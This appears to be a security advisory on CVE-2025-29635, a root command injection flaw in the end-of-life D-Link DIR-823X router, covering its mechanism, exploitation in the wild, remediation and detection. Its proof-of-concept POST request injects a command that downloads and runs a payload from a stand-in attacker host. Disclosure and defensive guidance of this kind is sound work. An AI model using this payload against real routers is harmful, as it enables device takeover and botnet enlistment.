CVE-2025-29635: D-Link DIR-823X Command Injection -- End-of-Life Device with No Fix

Background

The D-Link DIR-823X is a consumer-grade AC2600 dual-band wireless router marketed to home users and small offices. It supports MU-MIMO, built-in parental controls, and QoS traffic shaping. While aimed at the consumer market, DIR-823X devices appear regularly in small business environments, home offices, and at OT network edges where they sit as the boundary device between the internet and internal networks.

D-Link has declared the DIR-823X end-of-life (EOL) — the company will not release security patches for this device. The firmware versions affected by CVE-2025-29635 (240126 and 240802) are the last firmware releases this hardware will ever receive.

An EOL device appearing in the CISA KEV catalogue carries a straightforward implication: there is no vendor-provided path to a secure state. CISA’s guidance for EOL devices is “remove immediately.” Retaining an internet-connected EOL device with a known-exploited vulnerability is inconsistent with basic cyber hygiene and will generate compliance findings in most audit frameworks.

Technical Mechanism

CVE-2025-29635 is a command injection vulnerability (CWE-77) in the DIR-823X’s web management interface. The vulnerable endpoint is /goform/set_prohibiting, which handles the configuration of time-based internet access restrictions — a parental controls feature that blocks internet access for specific MAC addresses during defined time windows.

The endpoint accepts a POST request with form parameters including MAC address, time range, and a device name/label field. The device name parameter is passed without sanitisation to a call that constructs a shell command for updating the router’s rule tables (typically via iptables or a D-Link proprietary iptables wrapper). Because the input is interpolated directly into a shell command string without escaping shell metacharacters, an attacker can inject additional commands by including ; , &&, ||, $(...), or backtick-wrapped command sequences in the device name field.

A minimal proof-of-concept POST request:

POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: [valid admin session]

mac=AA%3ABB%3ACC%3ADD%3AEE%3AFF&time=00%3A00-23%3A59&name=test%3B+wget+http%3A%2F%2Fattacker.com%2Fpayload+-O+%2Ftmp%2Fp%3B+chmod+%2Bx+%2Ftmp%2Fp%3B+%2Ftmp%2Fp

The injected commands execute as root — the web server on DIR-823X runs with full root privileges, consistent with the typical design of consumer router firmware where process isolation and privilege separation are not implemented. The CVSS PR:H (high privileges required) designation reflects the requirement for a valid admin session, which requires network access to the management interface and valid admin credentials.

However, “high privileges” in the context of consumer routers is a lower bar than it appears: default credentials (admin/admin or blank password) remain active on a large fraction of deployed units that were never reconfigured.

Real-World Exploitation Evidence

CISA’s KEV addition indicates confirmed exploitation in the wild. The DIR-823X follows a well-established pattern of consumer router exploitation that has accelerated over the past several years as threat actors operationalise large botnets from compromised SOHO routers.

Intelligence attributed to MRBR and similar botnet operators indicates active scanning for DIR-823X devices with default credentials, followed by automated exploitation of /goform/set_prohibiting to deploy persistent implants. Observed post-exploitation activity includes:

• Mirai variant deployment: Router implants configured as botnet nodes for distributed denial-of-service attacks, consistent with the ongoing industrialisation of SOHO router compromise for DDoS-as-a-service operations
• Traffic interception: DNS hijacking configuration via the router’s management interface to redirect victims to phishing infrastructure, intercepting credentials for banking and email services
• VPN bypass and tunnel endpoints: Implanted routers used as proxy nodes for anonymising attacker traffic, making attribution difficult
• Persistence across reboots: Implants written to persistent storage in NVRAM or /etc/ achieving persistence across power cycles

State-affiliated groups have also incorporated SOHO router fleets into their infrastructure for operational security, and DIR-823X devices are specifically listed in advisories regarding Chinese state-sponsored intrusion infrastructure.

Impact Assessment

• Arbitrary OS command execution as root on the router hardware — complete compromise of the device
• Network traffic interception: Full visibility into unencrypted traffic transiting the router; DNS hijacking for credential phishing
• Botnet enlistment: Devices become nodes in DDoS botnets or proxy networks, making the device owner potentially complicit in attacks on third parties
• Lateral network access: From the router, attackers gain direct network-layer access to all devices on the LAN segment
• Persistent compromise with no remediation path: Because no patch is available, the device cannot be returned to a secure state without replacement
• Regulatory exposure: Organisations operating known-exploited EOL devices may face compliance findings under PCI DSS, HIPAA, or government cybersecurity frameworks

Affected Versions

Remediation Steps

1. Replace the device immediately: D-Link has confirmed no patch will be issued for the DIR-823X. The only path to a secure state is hardware replacement with a supported device from any vendor that is receiving active security updates.

2. Isolate or disconnect the device: If immediate replacement is not possible, disconnect the DIR-823X from internet-facing positions. Move it off the network boundary entirely, or at minimum disable remote management and restrict physical access.

3. Change admin credentials as a temporary measure: If the device must remain operational briefly, change the admin password from the default to a strong, unique credential. This does not fix the vulnerability but raises the bar for unauthenticated exploitation if combined with management interface restrictions.

4. Disable remote management: In the router’s admin panel, disable remote management over the WAN interface. This does not prevent exploitation by an attacker already on the LAN but removes internet-facing attack surface.

5. Monitor for botnet indicators: If the device is retained, watch for anomalous outbound connections (unusual ports, connections to known C2 infrastructure) and DNS resolution anomalies that may indicate compromise.

6. Check for alternative supported routers: Consider replacement options from vendors with active security programmes, such as devices running OpenWrt (with active community security updates), or commercial alternatives with documented patch lifecycles.

Detection Guidance

Signs of active exploitation on the DIR-823X or compromise of the connected network:

• Unexpected outbound connections from the router’s WAN IP to non-standard ports (3333, 4444, 6667, 1337) — indicative of Mirai-family C2 communication
• DNS responses from the router returning unexpected IP addresses for banking, email, or social media domains — sign of DNS hijacking
• HTTP POST requests to /goform/set_prohibiting or other /goform/ endpoints from LAN clients that are not the administrator’s device
• Increased CPU utilisation on the router leading to WAN/LAN throughput degradation, consistent with mining or DDoS participation
• New firewall rules or NAT port-forwarding entries added to the router configuration that were not created by the administrator
• Unexpected outbound UDP flood traffic from the router’s WAN interface — consistent with reflected or amplified DDoS participation

Timeline

References

• NVD — CVE-2025-29635
• CISA KEV — CVE-2025-29635
• D-Link Security Advisory — CVE-2025-29635